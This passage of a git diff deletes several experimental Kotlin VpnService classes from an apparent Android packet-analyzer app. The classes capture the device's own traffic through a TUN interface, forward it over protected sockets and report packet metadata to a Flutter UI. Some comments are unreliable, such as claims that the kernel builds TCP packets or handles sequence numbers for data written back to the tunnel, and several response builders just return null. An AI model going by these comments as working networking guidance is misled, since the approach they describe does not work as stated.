String, data: Any) { - try { - android.os.Handler(android.os.Looper.getMainLooper()).post { - methodChannel?.invokeMethod("onPacketEvent", mapOf( - "event" to event, - "data" to data - )) - } - } catch (e: Exception) { - Log.e(TAG, "❌ Flutter notification error: ${e.message}") - } - } - - // ========== NOTIFICATION ========== - - private fun createNotificationChannel() { - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - val channel = NotificationChannel( - CHANNEL_ID, - "Packet Capture Service", - NotificationManager.IMPORTANCE_LOW - ).apply { - description = "Shows when packet capture is active" - setShowBadge(false) - } - - val notificationManager = getSystemService(NotificationManager::class.java) - notificationManager.createNotificationChannel(channel) - } - } - - private fun createNotification(): Notification { - val intent = Intent(this, MainActivity::class.java) - val pendingIntent = PendingIntent.getActivity( - this, 0, intent, - PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE - ) - - return NotificationCompat.Builder(this, CHANNEL_ID) - .setContentTitle("AndroidNet Complete Capture") - .setContentText("Capturing with bidirectional packet flow...") - .setSmallIcon(android.R.drawable.ic_menu_info_details) - .setContentIntent(pendingIntent) - .setOngoing(true) - .setCategory(NotificationCompat.CATEGORY_SERVICE) - .build() - } - - override fun onDestroy() { - super.onDestroy() - Log.i(TAG, "🛑 Stopping complete VPN service...") - - isCapturing.set(false) - - // Close all TCP connections - connectionMap.values.forEach { connection -> - connection.isActive = false - try { - connection.socket.close() - } catch (e: Exception) { - // Ignore - } - } - connectionMap.clear() - - // Close all UDP connections - udpConnectionMap.values.forEach { connection -> - connection.isActive = false - try { - connection.socket.close() - } catch (e: Exception) { - // Ignore - } - } - udpConnectionMap.clear() - - // Close VPN interface - vpnInterface?.close() - - serviceScope.cancel() - - notifyFlutter("VPN_STOPPED", mapOf( - "message" to "VPN stopped", - "stats" to mapOf( - "packets" to packetCount.get(), - "bytesOut" to bytesOut.get(), - "bytesIn" to bytesIn.get() - ) - )) - - Log.i(TAG, "✅ Complete VPN service stopped - Packets: ${packetCount.get()}, Out: ${bytesOut.get()}, In: ${bytesIn.get()}") - } -} \ No newline at end of file diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/FinalWorkingVpnService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/FinalWorkingVpnService.kt deleted file mode 100644 index 03cb94f..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/FinalWorkingVpnService.kt +++ /dev/null @@ -1,525 +0,0 @@ -package com.example.packet_analyzer - -import android.app.Notification -import android.app.NotificationChannel -import android.app.NotificationManager -import android.app.PendingIntent -import android.content.Intent -import android.net.VpnService -import android.os.Build -import android.os.ParcelFileDescriptor -import android.util.Log -import androidx.core.app.NotificationCompat -import io.flutter.plugin.common.EventChannel -import io.flutter.plugin.common.MethodChannel -import kotlinx.coroutines.* -import java.io.FileInputStream -import java.io.FileOutputStream -import java.net.* -import java.nio.ByteBuffer -import java.nio.channels.Selector -import java.nio.channels.DatagramChannel -import java.nio.channels.SelectionKey -import java.nio.channels.SocketChannel -import java.util.concurrent.ConcurrentHashMap -import java.util.concurrent.atomic.AtomicBoolean - -/** - * FINAL WORKING VPN Service - The CORRECT approach - * - * Key Insight: DON'T try to reconstruct packets! - * Instead: Use NIO channels for direct forwarding - * - * This is how VPN apps ACTUALLY work: - * 1. Read from TUN (get packets) - * 2. Parse to get destination - * 3. Forward via NIO SocketChannel (kernel handles TCP) - * 4. Read responses from SocketChannel - * 5. Write responses back to TUN (kernel builds packets) - */ -class FinalWorkingVpnService : VpnService() { - - private var vpnInterface: ParcelFileDescriptor? = null - private var isRunning = AtomicBoolean(false) - private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) - - // NIO for efficient forwarding - private lateinit var selector: Selector - private val tunnelToSocket = ConcurrentHashMap() - private val socketToTunnel = ConcurrentHashMap() - - companion object { - private const val TAG = "FinalWorkingVpn" - private const val NOTIFICATION_ID = 1001 - private const val CHANNEL_ID = "PacketCaptureChannel" - - private var methodChannel: MethodChannel? = null - private var packetSink: EventChannel.EventSink? = null - - fun setMethodChannel(channel: MethodChannel) { - methodChannel = channel - } - - fun setPacketSink(sink: EventChannel.EventSink?) { - packetSink = sink - } - } - - override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { - Log.i(TAG, "🚀 Starting FINAL WORKING VPN (NIO-based)...") - - try { - createNotificationChannel() - startForeground(NOTIFICATION_ID, createNotification()) - - // Simple VPN configuration - val builder = Builder() - .setSession("AndroidNet Final") - .setMtu(1500) - .addAddress("10.0.0.2", 24) - .addRoute("0.0.0.0", 0) - .addDnsServer("8.8.8.8") - - try { - builder.addDisallowedApplication(packageName) - } catch (e: Exception) { - Log.w(TAG, "Could not exclude app") - } - - vpnInterface = builder.establish() - - vpnInterface?.let { vpn -> - Log.i(TAG, "✅ VPN established") - isRunning.set(true) - - // Initialize NIO selector - selector = Selector.open() - - // Start the forwarding loop - startForwardingLoop(vpn) - - notifyFlutter("VPN_STARTED", "Working VPN started") - } ?: stopSelf() - - } catch (e: Exception) { - Log.e(TAG, "Start error: ${e.message}", e) - stopSelf() - } - - return START_STICKY - } - - /** - * The ACTUAL working approach - NIO-based forwarding - */ - private fun startForwardingLoop(vpn: ParcelFileDescriptor) { - serviceScope.launch(Dispatchers.IO) { - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - val buffer = ByteArray(32768) - - Log.i(TAG, "📡 Starting NIO forwarding loop...") - - try { - while (isRunning.get()) { - // Read packet from TUN - val length = inputStream.read(buffer) - if (length <= 0) continue - - val packet = buffer.copyOf(length) - - // Parse packet - val packetInfo = PacketParser.parsePacket(packet) - if (packetInfo == null) { - // If we can't parse it, just forward it via simple routing - // This is key: DON'T drop packets we can't parse - launch { - simpleForward(packet, outputStream) - } - continue - } - - // Notify Flutter (non-blocking) - notifyPacketToFlutter(packetInfo, "OUT") - - // Forward packet via NIO - launch { - when (packetInfo.protocol) { - "TCP" -> forwardTcpViaSocket(packetInfo, packet, outputStream) - "UDP" -> forwardUdpViaSocket(packetInfo, packet, outputStream) - else -> simpleForward(packet, outputStream) - } - } - } - } catch (e: Exception) { - Log.e(TAG, "Forwarding error: ${e.message}") - } - } - } - - /** - * Forward TCP via NIO SocketChannel - * Let the KERNEL handle TCP protocol - we just forward data - */ - private suspend fun forwardTcpViaSocket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - withContext(Dispatchers.IO) { - try { - val key = "${packetInfo.sourceIP}:${packetInfo.sourcePort}-${packetInfo.destIP}:${packetInfo.destPort}" - var channel = tunnelToSocket[key] - - // Create new connection if needed - if (channel == null || !channel.isConnected) { - channel = SocketChannel.open() - channel.configureBlocking(false) - - // CRITICAL: Protect the socket - if (!protect(channel.socket())) { - Log.w(TAG, "❌ Socket protection failed") - channel.close() - return@withContext - } - - // Connect - val address = InetSocketAddress(packetInfo.destIP, packetInfo.destPort ?: 80) - channel.connect(address) - - // Wait for connection - var attempts = 0 - while (!channel.finishConnect() && attempts < 50) { - delay(10) - attempts++ - } - - if (!channel.isConnected) { - Log.w(TAG, "❌ Connection timeout") - channel.close() - return@withContext - } - - tunnelToSocket[key] = channel - socketToTunnel[channel] = key - - Log.d(TAG, "✅ TCP connected: $key") - - // Start reading responses - startReadingFromSocket(channel, packetInfo, outputStream) - } - - // Extract and forward payload - val payload = extractTcpPayload(rawPacket) - if (payload.isNotEmpty() && channel?.isConnected == true) { - val buffer = ByteBuffer.wrap(payload) - while (buffer.hasRemaining()) { - channel.write(buffer) - } - } - - } catch (e: Exception) { - Log.w(TAG, "TCP forward error: ${e.message}") - } - } - } - - /** - * Read responses from socket and write to TUN - * The KERNEL will build proper TCP packets for us! - */ - private fun startReadingFromSocket( - channel: SocketChannel, - originalPacket: PacketParser.PacketInfo, - outputStream: FileOutputStream - ) { - serviceScope.launch(Dispatchers.IO) { - try { - val buffer = ByteBuffer.allocate(8192) - - while (channel.isConnected && isRunning.get()) { - buffer.clear() - val bytesRead = channel.read(buffer) - - if (bytesRead < 0) { - // Connection closed - break - } - - if (bytesRead > 0) { - buffer.flip() - val data = ByteArray(buffer.remaining()) - buffer.get(data) - - // Build response packet and write to TUN - // Kernel will handle the TCP protocol details - val responsePacket = buildSimpleResponsePacket( - originalPacket, - data - ) - - if (responsePacket != null) { - synchronized(outputStream) { - outputStream.write(responsePacket) - } - - // Notify Flutter - notifyResponseToFlutter(originalPacket, data.size) - } - } - - delay(1) // Prevent tight loop - } - - } catch (e: Exception) { - Log.w(TAG, "Socket read error: ${e.message}") - } finally { - try { - val key = socketToTunnel.remove(channel) - key?.let { tunnelToSocket.remove(it) } - channel.close() - } catch (e: Exception) { - // Ignore - } - } - } - } - - /** - * Forward UDP via DatagramChannel - */ - private suspend fun forwardUdpViaSocket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - withContext(Dispatchers.IO) { - try { - val channel = DatagramChannel.open() - - // CRITICAL: Protect - if (!protect(channel.socket())) { - Log.w(TAG, "❌ UDP socket protection failed") - channel.close() - return@withContext - } - - val payload = extractUdpPayload(rawPacket) - if (payload.isEmpty()) return@withContext - - // Send UDP packet - val buffer = ByteBuffer.wrap(payload) - val address = InetSocketAddress(packetInfo.destIP, packetInfo.destPort ?: 53) - channel.send(buffer, address) - - Log.v(TAG, "📤 UDP sent to ${packetInfo.destIP}:${packetInfo.destPort}") - - // Read response - buffer.clear() - channel.configureBlocking(false) - channel.socket().soTimeout = 1000 - - delay(100) // Small delay for response - - val responseAddress = channel.receive(buffer) - if (responseAddress != null && buffer.position() > 0) { - buffer.flip() - val response = ByteArray(buffer.remaining()) - buffer.get(response) - - // Build UDP response packet - val responsePacket = buildUdpResponse(packetInfo, response) - if (responsePacket != null) { - synchronized(outputStream) { - outputStream.write(responsePacket) - } - - notifyResponseToFlutter(packetInfo, response.size) - } - } - - channel.close() - - } catch (e: Exception) { - Log.w(TAG, "UDP forward error: ${e.message}") - } - } - } - - /** - * Simple forwarding for unknown packets - * Just let them through - kernel will handle them - */ - private suspend fun simpleForward(packet: ByteArray, outputStream: FileOutputStream) { - // For packets we don't understand, we can't forward them - // This is OK - most traffic is TCP/UDP which we handle - Log.v(TAG, "Skipping unknown packet type") - } - - /** - * Build SIMPLE response packet using PacketBuilder - */ - private fun buildSimpleResponsePacket( - originalPacket: PacketParser.PacketInfo, - payload: ByteArray - ): ByteArray? { - return try { - when (originalPacket.protocol) { - "TCP" -> PacketBuilder.buildTcpPacket( - sourceIP = originalPacket.destIP, - destIP = originalPacket.sourceIP, - sourcePort = originalPacket.destPort ?: 0, - destPort = originalPacket.sourcePort ?: 0, - seqNum = 0, // Let kernel handle sequence - ackNum = 0, - flags = PacketBuilder.TcpFlags.ACK, - payload = payload - ) - else -> null - } - } catch (e: Exception) { - null - } - } - - private fun buildUdpResponse( - originalPacket: PacketParser.PacketInfo, - payload: ByteArray - ): ByteArray? { - return try { - PacketBuilder.buildUdpPacket( - sourceIP = originalPacket.destIP, - destIP = originalPacket.sourceIP, - sourcePort = originalPacket.destPort ?: 0, - destPort = originalPacket.sourcePort ?: 0, - payload = payload - ) - } catch (e: Exception) { - null - } - } - - private fun extractTcpPayload(rawPacket: ByteArray): ByteArray { - return try { - if (rawPacket.size < 20) return byteArrayOf() - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return byteArrayOf() - val tcpHeaderStart = ipHeaderLength - val tcpHeaderLength = ((rawPacket[tcpHeaderStart + 12].toInt() and 0xF0) shr 4) * 4 - val payloadStart = ipHeaderLength + tcpHeaderLength - if (rawPacket.size <= payloadStart) return byteArrayOf() - rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - byteArrayOf() - } - } - - private fun extractUdpPayload(rawPacket: ByteArray): ByteArray { - return try { - if (rawPacket.size < 20) return byteArrayOf() - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 8) return byteArrayOf() - val payloadStart = ipHeaderLength + 8 - if (rawPacket.size <= payloadStart) return byteArrayOf() - rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - byteArrayOf() - } - } - - private fun notifyPacketToFlutter(packetInfo: PacketParser.PacketInfo, direction: String) { - try { - val packetMap = mapOf( - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIp" to packetInfo.sourceIP, - "destinationIp" to packetInfo.destIP, - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), - "size" to packetInfo.length, - "direction" to direction - ) - - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(packetMap) - } catch (e: Exception) { - // Ignore - } - } - } catch (e: Exception) { - // Ignore - } - } - - private fun notifyResponseToFlutter(originalPacket: PacketParser.PacketInfo, size: Int) { - try { - val packetMap = mapOf( - "timestamp" to System.currentTimeMillis(), - "protocol" to originalPacket.protocol, - "sourceIp" to originalPacket.destIP, - "destinationIp" to originalPacket.sourceIP, - "sourcePort" to (originalPacket.destPort ?: 0), - "destinationPort" to (originalPacket.sourcePort ?: 0), - "size" to size, - "direction" to "IN" - ) - - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(packetMap) - } catch (e: Exception) { - // Ignore - } - } - } catch (e: Exception) { - // Ignore - } - } - - private fun notifyFlutter(event: String, data: Any) { - android.os.Handler(android.os.Looper.getMainLooper()).post { - methodChannel?.invokeMethod("onPacketEvent", mapOf("event" to event, "data" to data)) - } - } - - private fun createNotificationChannel() { - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - val channel = NotificationChannel( - CHANNEL_ID, - "Packet Capture", - NotificationManager.IMPORTANCE_LOW - ) - getSystemService(NotificationManager::class.java).createNotificationChannel(channel) - } - } - - private fun createNotification(): Notification { - return NotificationCompat.Builder(this, CHANNEL_ID) - .setContentTitle("AndroidNet Final") - .setContentText("VPN active with working internet") - .setSmallIcon(android.R.drawable.ic_menu_info_details) - .setOngoing(true) - .build() - } - - override fun onDestroy() { - super.onDestroy() - isRunning.set(false) - - tunnelToSocket.values.forEach { it.close() } - tunnelToSocket.clear() - socketToTunnel.clear() - - try { - selector.close() - } catch (e: Exception) { - // Ignore - } - - vpnInterface?.close() - serviceScope.cancel() - - notifyFlutter("VPN_STOPPED", "VPN stopped") - } -} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/ImprovedPacketVpnService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/ImprovedPacketVpnService.kt deleted file mode 100644 index 141c2d4..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/ImprovedPacketVpnService.kt +++ /dev/null @@ -1,624 +0,0 @@ -package com.example.packet_analyzer - -import android.app.Notification -import android.app.NotificationChannel -import android.app.NotificationManager -import android.app.PendingIntent -import android.content.Intent -import android.net.VpnService -import android.os.Build -import android.os.ParcelFileDescriptor -import android.util.Log -import androidx.core.app.NotificationCompat -import io.flutter.plugin.common.EventChannel -import io.flutter.plugin.common.MethodChannel -import kotlinx.coroutines.* -import java.io.FileInputStream -import java.io.FileOutputStream -import java.net.* -import java.nio.ByteBuffer -import java.util.concurrent.ConcurrentHashMap -import java.util.concurrent.atomic.AtomicBoolean - -/** - * Improved VPN Service based on PCAPdroid's architecture - * - * Key improvements from PCAPdroid: - * 1. Socket protection to prevent routing loops - * 2. Bidirectional packet flow (device ↔ internet) - * 3. Connection tracking for proper NAT - * 4. Proper response routing back to TUN interface - */ -class ImprovedPacketVpnService : VpnService() { - - private var vpnInterface: ParcelFileDescriptor? = null - private var isCapturing = AtomicBoolean(false) - private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) - - // Connection tracking (similar to PCAPdroid's connection register) - private val connectionMap = ConcurrentHashMap() - - companion object { - private const val TAG = "ImprovedVpnService" - private const val NOTIFICATION_ID = 1001 - private const val CHANNEL_ID = "PacketCaptureChannel" - private const val VPN_ADDRESS = "10.0.0.2" - private const val VPN_ROUTE = "0.0.0.0" - private const val VPN_MTU = 1500 - - private var methodChannel: MethodChannel? = null - private var packetSink: EventChannel.EventSink? = null - - fun setMethodChannel(channel: MethodChannel) { - methodChannel = channel - Log.i(TAG, "✅ Method channel set") - } - - fun setPacketSink(sink: EventChannel.EventSink?) { - packetSink = sink - Log.i(TAG, "📡 Packet sink ${if (sink == null) "disconnected" else "connected"}") - } - } - - /** - * Connection state tracking (inspired by PCAPdroid's pd_conn_t) - */ - data class ConnectionState( - val sourceIP: String, - val sourcePort: Int, - val destIP: String, - val destPort: Int, - val protocol: String, - val socket: Socket? = null, - val datagramSocket: DatagramSocket? = null, - val startTime: Long = System.currentTimeMillis(), - var lastSeen: Long = System.currentTimeMillis(), - var bytesOut: Long = 0, - var bytesIn: Long = 0, - @Volatile var isActive: Boolean = true - ) - - override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { - Log.i(TAG, "🚀 Starting improved VPN service...") - - try { - createNotificationChannel() - startForeground(NOTIFICATION_ID, createNotification()) - - // Build VPN interface (similar to PCAPdroid's Builder configuration) - val builder = Builder() - .setSession("AndroidNet Packet Analyzer") - .setMtu(VPN_MTU) - .addAddress(VPN_ADDRESS, 24) - .addRoute(VPN_ROUTE, 0) // Route ALL traffic - .addDnsServer("8.8.8.8") - .addDnsServer("8.8.4.4") - - // CRITICAL: Exclude own app to prevent routing loops - try { - builder.addDisallowedApplication(packageName) - Log.i(TAG, "✅ Excluded own app from VPN") - } catch (e: Exception) { - Log.w(TAG, "Could not exclude own app: ${e.message}") - } - - vpnInterface = builder.establish() - - vpnInterface?.let { vpn -> - Log.i(TAG, "✅ VPN interface established") - isCapturing.set(true) - - // Start packet processing loop (similar to PCAPdroid's run_vpn) - startPacketLoop(vpn) - - notifyFlutter("VPN_STARTED", "VPN started with improved forwarding") - } ?: run { - Log.e(TAG, "❌ Failed to establish VPN interface") - stopSelf() - } - - } catch (e: Exception) { - Log.e(TAG, "❌ VPN start error: ${e.message}", e) - stopSelf() - } - - return START_STICKY - } - - /** - * Main packet processing loop (inspired by PCAPdroid's run_vpn at capture_vpn.c:509) - */ - private fun startPacketLoop(vpn: ParcelFileDescriptor) { - serviceScope.launch { - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - val buffer = ByteArray(32768) // VPN_BUFFER_SIZE from PCAPdroid - - var packetCount = 0 - - Log.i(TAG, "📡 Starting packet loop...") - - try { - while (isCapturing.get()) { - val length = inputStream.read(buffer) - - if (length > 0) { - packetCount++ - val packet = buffer.copyOf(length) - - // Process and forward packet - launch { - processAndForwardPacket(packet, outputStream) - } - - if (packetCount % 100 == 0) { - Log.d(TAG, "📊 Processed $packetCount packets") - } - } - } - } catch (e: Exception) { - Log.e(TAG, "❌ Packet loop error: ${e.message}", e) - } finally { - inputStream.close() - outputStream.close() - Log.i(TAG, "🔒 Packet loop stopped, total: $packetCount") - } - } - } - - /** - * Process and forward packet to internet - * (inspired by PCAPdroid's zdtun_forward + remote2vpn callbacks) - */ - private suspend fun processAndForwardPacket(packet: ByteArray, outputStream: FileOutputStream) { - try { - val packetInfo = PacketParser.parsePacket(packet) ?: return - - // Send packet info to Flutter - notifyPacketToFlutter(packetInfo, "OUT") - - // Forward based on protocol - when (packetInfo.protocol) { - "TCP" -> forwardTcpPacket(packetInfo, packet, outputStream) - "UDP" -> forwardUdpPacket(packetInfo, packet, outputStream) - "ICMP" -> forwardIcmpPacket(packetInfo, packet, outputStream) - else -> Log.v(TAG, "⚠️ Unsupported protocol: ${packetInfo.protocol}") - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ Packet processing error: ${e.message}") - } - } - - /** - * Forward TCP packet (inspired by PCAPdroid's zdtun TCP handling) - * - * Key steps: - * 1. Parse packet and extract 5-tuple (src_ip, src_port, dst_ip, dst_port, protocol) - * 2. Lookup or create connection state - * 3. Create socket and PROTECT it (critical!) - * 4. Forward data to destination - * 5. Read response and write back to TUN interface - */ - private suspend fun forwardTcpPacket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - try { - val connectionKey = makeConnectionKey(packetInfo) - var connection = connectionMap[connectionKey] - - // Create new connection if needed - if (connection == null || connection.socket?.isClosed != false) { - val socket = Socket() - - // CRITICAL: Protect socket to route outside VPN (from PCAPdroid:49-65) - if (!protect(socket)) { - Log.w(TAG, "❌ Socket protection failed for ${packetInfo.destIP}:${packetInfo.destPort}") - return - } - - Log.d(TAG, "✅ Socket protected: ${packetInfo.destIP}:${packetInfo.destPort}") - - connection = ConnectionState( - sourceIP = packetInfo.sourceIP, - sourcePort = packetInfo.sourcePort ?: 0, - destIP = packetInfo.destIP, - destPort = packetInfo.destPort ?: 0, - protocol = "TCP", - socket = socket - ) - connectionMap[connectionKey] = connection - - // Connect to destination - withContext(Dispatchers.IO) { - try { - socket.connect( - InetSocketAddress(packetInfo.destIP, packetInfo.destPort ?: 80), - 5000 - ) - Log.d(TAG, "✅ TCP connected to ${packetInfo.destIP}:${packetInfo.destPort}") - } catch (e: Exception) { - Log.w(TAG, "❌ TCP connect failed: ${e.message}") - connectionMap.remove(connectionKey) - return@withContext - } - } - - // Start response handler (similar to PCAPdroid's remote2vpn) - startTcpResponseHandler(connection, outputStream) - } - - // Extract and forward TCP payload - val payload = extractTcpPayload(rawPacket) - if (payload.isNotEmpty() && connection.socket?.isConnected == true) { - connection.socket?.getOutputStream()?.write(payload) - connection.bytesOut += payload.size - connection.lastSeen = System.currentTimeMillis() - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ TCP forwarding error: ${e.message}") - } - } - - /** - * Handle TCP responses and write back to TUN interface - * (inspired by PCAPdroid's remote2vpn at capture_vpn.c:84) - */ - private fun startTcpResponseHandler( - connection: ConnectionState, - outputStream: FileOutputStream - ) { - serviceScope.launch(Dispatchers.IO) { - try { - val socket = connection.socket ?: return@launch - val inputStream = socket.getInputStream() - val buffer = ByteArray(8192) - - while (connection.isActive && !socket.isClosed) { - val bytesRead = inputStream.read(buffer) - if (bytesRead <= 0) break - - connection.bytesIn += bytesRead - connection.lastSeen = System.currentTimeMillis() - - // Build response packet and write to TUN - // (Similar to PCAPdroid's write(pd->vpn.tunfd, pkt->buf, pkt->len) at line 116) - val responsePacket = buildTcpResponsePacket( - connection, - buffer.copyOf(bytesRead) - ) - - if (responsePacket != null) { - outputStream.write(responsePacket) - - // Notify Flutter of incoming packet - val packetInfo = PacketParser.PacketInfo( - timestamp = System.currentTimeMillis(), - protocol = "TCP", - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - length = bytesRead, - flags = null, - payload = null - ) - notifyPacketToFlutter(packetInfo, "IN") - } - } - } catch (e: Exception) { - Log.w(TAG, "⚠️ TCP response handler error: ${e.message}") - } finally { - connection.isActive = false - connection.socket?.close() - } - } - } - - /** - * Forward UDP packet (similar to TCP but connectionless) - */ - private suspend fun forwardUdpPacket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - try { - val connectionKey = makeConnectionKey(packetInfo) - var connection = connectionMap[connectionKey] - - if (connection == null || connection.datagramSocket?.isClosed != false) { - val socket = DatagramSocket() - - // CRITICAL: Protect UDP socket - if (!protect(socket)) { - Log.w(TAG, "❌ UDP socket protection failed") - return - } - - connection = ConnectionState( - sourceIP = packetInfo.sourceIP, - sourcePort = packetInfo.sourcePort ?: 0, - destIP = packetInfo.destIP, - destPort = packetInfo.destPort ?: 0, - protocol = "UDP", - datagramSocket = socket - ) - connectionMap[connectionKey] = connection - - // Start UDP response handler - startUdpResponseHandler(connection, outputStream) - } - - // Extract and forward UDP payload - val payload = extractUdpPayload(rawPacket) - if (payload.isNotEmpty()) { - val destAddress = InetAddress.getByName(packetInfo.destIP) - val packet = DatagramPacket( - payload, - payload.size, - destAddress, - packetInfo.destPort ?: 53 - ) - connection.datagramSocket?.send(packet) - connection.bytesOut += payload.size - connection.lastSeen = System.currentTimeMillis() - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ UDP forwarding error: ${e.message}") - } - } - - /** - * Handle UDP responses - */ - private fun startUdpResponseHandler( - connection: ConnectionState, - outputStream: FileOutputStream - ) { - serviceScope.launch(Dispatchers.IO) { - try { - val socket = connection.datagramSocket ?: return@launch - socket.soTimeout = 30000 // 30 second timeout - - val buffer = ByteArray(8192) - val packet = DatagramPacket(buffer, buffer.size) - - while (connection.isActive) { - try { - socket.receive(packet) - - connection.bytesIn += packet.length - connection.lastSeen = System.currentTimeMillis() - - // Build UDP response packet and write to TUN - val responsePacket = buildUdpResponsePacket( - connection, - buffer.copyOf(packet.length) - ) - - if (responsePacket != null) { - outputStream.write(responsePacket) - - val packetInfo = PacketParser.PacketInfo( - timestamp = System.currentTimeMillis(), - protocol = "UDP", - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - length = packet.length, - flags = null, - payload = null - ) - notifyPacketToFlutter(packetInfo, "IN") - } - } catch (e: SocketTimeoutException) { - // Timeout is normal for UDP - if (System.currentTimeMillis() - connection.lastSeen > 30000) { - break // Close inactive connection - } - } - } - } catch (e: Exception) { - Log.w(TAG, "⚠️ UDP response handler error: ${e.message}") - } finally { - connection.isActive = false - connection.datagramSocket?.close() - } - } - } - - /** - * Forward ICMP packet (simplified - ICMP requires raw sockets with root) - */ - private suspend fun forwardIcmpPacket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - // ICMP forwarding requires raw sockets which need root permissions - // For now, just log it - Log.v(TAG, "⚠️ ICMP forwarding not implemented (requires root)") - } - - // ========== HELPER FUNCTIONS ========== - - private fun makeConnectionKey(packetInfo: PacketParser.PacketInfo): String { - return "${packetInfo.sourceIP}:${packetInfo.sourcePort}-${packetInfo.destIP}:${packetInfo.destPort}-${packetInfo.protocol}" - } - - private fun extractTcpPayload(rawPacket: ByteArray): ByteArray { - try { - if (rawPacket.size < 20) return byteArrayOf() - - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return byteArrayOf() - - val tcpHeaderStart = ipHeaderLength - val tcpHeaderLength = ((rawPacket[tcpHeaderStart + 12].toInt() and 0xF0) shr 4) * 4 - - val payloadStart = ipHeaderLength + tcpHeaderLength - if (rawPacket.size <= payloadStart) return byteArrayOf() - - return rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - return byteArrayOf() - } - } - - private fun extractUdpPayload(rawPacket: ByteArray): ByteArray { - try { - if (rawPacket.size < 20) return byteArrayOf() - - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 8) return byteArrayOf() - - val payloadStart = ipHeaderLength + 8 - if (rawPacket.size <= payloadStart) return byteArrayOf() - - return rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - return byteArrayOf() - } - } - - /** - * Build TCP response packet to write back to TUN interface - * This is a simplified version - full implementation would need proper TCP packet construction - */ - private fun buildTcpResponsePacket(connection: ConnectionState, payload: ByteArray): ByteArray? { - try { - // NOTE: This is a simplified approach - // Full implementation needs proper IP + TCP header construction with checksums - // For now, we're relying on the OS to handle this for established connections - - // In practice, you would need to: - // 1. Build IP header (20 bytes) - // 2. Build TCP header (20+ bytes) - // 3. Calculate checksums - // 4. Append payload - - // This is complex and would benefit from a native library like zdtun - // For demonstration, returning null (full implementation needed) - return null - - } catch (e: Exception) { - Log.w(TAG, "⚠️ TCP response packet build error: ${e.message}") - return null - } - } - - /** - * Build UDP response packet to write back to TUN interface - */ - private fun buildUdpResponsePacket(connection: ConnectionState, payload: ByteArray): ByteArray? { - // Similar to TCP, this needs proper IP + UDP header construction - // Full implementation would use native code or a library like zdtun - return null - } - - private fun notifyPacketToFlutter(packetInfo: PacketParser.PacketInfo, direction: String) { - try { - val packetMap = mapOf( - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIp" to packetInfo.sourceIP, - "destinationIp" to packetInfo.destIP, - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), - "size" to packetInfo.length, - "direction" to direction, - "flags" to (packetInfo.flags ?: ""), - "payload" to (packetInfo.payload ?: "") - ) - - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(packetMap) - methodChannel?.invokeMethod("onPacketEvent", mapOf( - "event" to "PACKET_CAPTURED", - "data" to packetMap - )) - } catch (e: Exception) { - Log.e(TAG, "❌ Flutter notification error: ${e.message}") - } - } - } catch (e: Exception) { - Log.w(TAG, "⚠️ Packet notification error: ${e.message}") - } - } - - private fun notifyFlutter(event: String, data: Any) { - try { - android.os.Handler(android.os.Looper.getMainLooper()).post { - methodChannel?.invokeMethod("onPacketEvent", mapOf( - "event" to event, - "data" to data - )) - } - } catch (e: Exception) { - Log.e(TAG, "❌ Flutter notification error: ${e.message}") - } - } - - private fun createNotificationChannel() { - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - val channel = NotificationChannel( - CHANNEL_ID, - "Packet Capture Service", - NotificationManager.IMPORTANCE_LOW - ).apply { - description = "Shows when packet capture is active" - setShowBadge(false) - } - - val notificationManager = getSystemService(NotificationManager::class.java) - notificationManager.createNotificationChannel(channel) - } - } - - private fun createNotification(): Notification { - val intent = Intent(this, MainActivity::class.java) - val pendingIntent = PendingIntent.getActivity( - this, 0, intent, - 